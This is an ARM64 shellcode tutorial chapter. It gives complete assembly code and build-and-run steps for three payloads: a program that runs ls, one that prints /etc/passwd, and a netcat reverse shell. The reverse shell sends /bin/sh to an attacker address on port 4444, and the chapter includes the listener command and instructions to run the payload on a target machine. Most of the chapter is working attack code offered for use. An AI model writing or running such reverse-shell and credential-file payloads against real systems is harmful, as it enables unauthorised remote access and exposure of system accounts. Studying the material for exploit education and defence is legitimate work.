Chapter 5:Introduction to Shellcode
What is Shellcode?
Shellcode is a small piece of machine code used as the payload in the exploitation of software vulnerabilities. The name "shellcode" comes from its common purpose, which is to spawn a shell (a command-line interface).
Common Uses of Shellcode
Exploiting vulnerabilities in software to gain unauthorized access.
Demonstrating security flaws in software for educational purposes.
Basic ARM64 Shellcode: Executing a Command
Let's start with a simple shellcode that executes the "ls" command:
.global _start
.section .text
_start:
// execve("/bin/ls", ["/bin/ls", NULL], NULL)
adr x0, filename // Load address of "/bin/ls"
mov x1, sp // Use stack for argv
str x0, [x1] // Store "/bin/ls" as first arg
mov x2, #0 // NULL terminate argv
str x2, [x1, #8] // Store NULL after "/bin/ls"
mov x2, #0 // No environment variables
mov x8, #221 // execve syscall number
svc #0
filename:
.asciz "/bin/ls"

Compiling and Running the Basic Shellcode
Save the shellcode in a file named
ls_shellcode.s
Assemble:
as ls_shellcode.s -o ls_shellcode.o
Link:
ld ls_shellcode.o -o ls_shellcode
Make executable:
chmod +x ls_shellcode
Run:
./ls_shellcode

Understanding the Basic Shellcode
The shellcode uses the execve system call to execute "/bin/ls".
It sets up the arguments on the stack.
System call number (221 for execve) is placed in x8.
The
svc #0
instruction triggers the system call.
Simple shellcode that executes "cat /etc/passwd":
.global _start
.section .text
_start:
// execve("/bin/cat", {"/bin/cat", "/etc/passwd", NULL}, NULL)
adr x0, filename // Load address of "/bin/cat"
mov x1, sp // Use stack for argv
str x0, [x1] // Store "/bin/cat" as first arg
adr x2, passwd // Load address of "/etc/passwd"
str x2, [x1, #8] // Store "/etc/passwd" as second arg
mov x2, #0
str x2, [x1, #16] // NULL terminate argv
mov x2, #0 // No environment variables
mov x8, #221 // execve syscall number
svc #0
// Exit (in case execve fails)
mov x8, #93
mov x0, #0
svc #0
filename:
.asciz "/bin/cat"
passwd:
.asciz "/etc/passwd"
Let's compile and run this:
Save this code in a file named
cat_passwd.s
Assemble the code:
as -o cat_passwd.o cat_passwd.s
Link the object file:
ld -o cat_passwd cat_passwd.o
Make it executable:
chmod +x cat_passwd
Run the shellcode:
./cat_passwd
This shellcode should execute successfully and display the contents of /etc/passwd.

nc reverse shell shellcode:
.global _start
.section .text
_start:
// execve("/bin/nc", {"/bin/nc", "-e", "/bin/sh", "192.168.142.131", "4444", NULL}, NULL)
adr x0, nc_path // Load address of "/bin/nc"
mov x1, sp // Use stack for argv
str x0, [x1] // Store "/bin/nc" as first arg
adr x2, e_flag
str x2, [x1, #8] // Store "-e" as second arg
adr x2, shell_path
str x2, [x1, #16] // Store "/bin/sh" as third arg
adr x2, ip_addr
str x2, [x1, #24] // Store IP address as fourth arg
adr x2, port
str x2, [x1, #32] // Store port as fifth arg
mov x2, #0
str x2, [x1, #40] // NULL terminate argv
mov x2, #0 // No environment variables
mov x8, #221 // execve syscall number
svc #0
// Exit (in case execve fails)
mov x8, #93
mov x0, #0
svc #0
nc_path:
.asciz "/bin/nc"
e_flag:
.asciz "-e"
shell_path:
.asciz "/bin/sh"
ip_addr:
.asciz "192.168.142.131"
port:
.asciz "4444"
Detailed Explanation:
.global _start
and.section .text
: These directives tell the assembler where our code begins and that it should be placed in the text section of the executable.adr x0, nc_path
: Loads the address of the "/bin/nc" string into x0. This will be the program we execute.mov x1, sp
: We'll use the stack to store our array of arguments. This moves the current stack pointer into x1.str x0, [x1]
: Stores the address of "/bin/nc" as the first argument in our array.The next few
adr
andstr
instructions load the addresses of our other arguments ("-e", "/bin/sh", IP, port) and store them in the array.mov x2, #0
andstr x2, [x1, #40]
: This NULL-terminates our argument array.mov x8, #221
: Loads the syscall number for execve into x8.svc #0
: Triggers the syscall, executing netcat with our arguments.The last part is an exit syscall in case execve fails.
The
.asciz
directives at the end define our string constants.
Step-by-step Instructions:
Save the code in a file named
nc_reverse_shell.s
Assemble the code:
as -o nc_reverse_shell.o nc_reverse_shell.s
This creates an object file from our assembly code.
Link the object file:
ld -o nc_reverse_shell nc_reverse_shell.o
This creates an executable from our object file.
Make the file executable:
chmod +x nc_reverse_shell
On your attacking machine (192.168.142.131), start a listener:
nc -lvp 4444
This listens for incoming connections on port 4444.
On the target machine, run the shellcode:
./nc_reverse_shell

This approach uses netcat directly, which is often available on Unix-like systems. It's simpler than creating a raw socket connection and should be more reliable. However, it does require netcat to be installed on the target system.

Last updated